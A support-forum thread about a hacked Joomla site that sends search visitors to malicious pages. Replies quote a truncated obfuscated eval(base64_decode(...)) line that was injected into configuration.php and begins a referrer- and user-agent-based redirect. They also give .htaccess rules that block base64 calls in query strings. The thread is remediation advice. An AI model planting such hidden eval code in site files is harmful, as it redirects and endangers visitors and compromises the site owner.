HTTP Error 500 (Internal Server Error) -Global Config Issue

[Daniel Sah]

I am having trouble saving my Global Configuration after changing any values for my website.

I am especially wanted to change the Meta Settings under Global Configuration but after clicking the save button it show:
Server Error
HTTP Error 500 (Internal Server Error): An unexpected condition was encountered while the server was attempting to fulfil the request.

I wanted to change the Meta Settings because I am encountering problems with my website using search engine results. Whenever I click on the resulted search that supposedly link to my website but it will link me to another website instead. At first it linked me to a website which contained viruses then it linked me to this site below:
http://404.wikaba.com/

I have tried google, yahoo, bing search result but all directed me to another bad websites.

Please help, I am in desperate need to change my website Meta Settings.

fyi, if I type my website address on the address bar of any internet browsers, my website load with no problem.

[mdoubleyou]

I had the same problem.

My configuration.php had 64-base code like
eval(base64-decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4wIikg"));

After I removed this code my sites work like before.

Use ftp, to download the file , update and upload.

Consider a clean joomla install and change you passwords.....

Regards,
Mdoubleyou

[ShibumiDesign]

I had the same problem.

My configuration.php had 64-base code like

eval(base64_decode("DQplcnJ...wIikg"));

After I removed this code my sites work like before.

You can prevent this if you use .htaccess file... include this code in your .htaccess file at the root of your site:

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# Block out any script trying to base64_encode or base64_decode data within the URL
RewriteCond %{QUERY_STRING} base64_(en|de)code[^(]*\([^)]*\) [OR]
## IMPORTANT: If the above line throws an HTTP 500 error, replace it with these 2 lines:
# RewriteCond %{QUERY_STRING} base64_encode\(.*\) [OR]
# RewriteCond %{QUERY_STRING} base64_decode\(.*\) [OR]

[mainstwebguy]

I had this issue come out of nowhere. Turned out to be in the configuration.php. For me, the dbhost was set to localhost, but when i changed it to the ip it worked.

try switching "localhost" to be "127.0.0.1:3306" and see if it helps. This solved my issues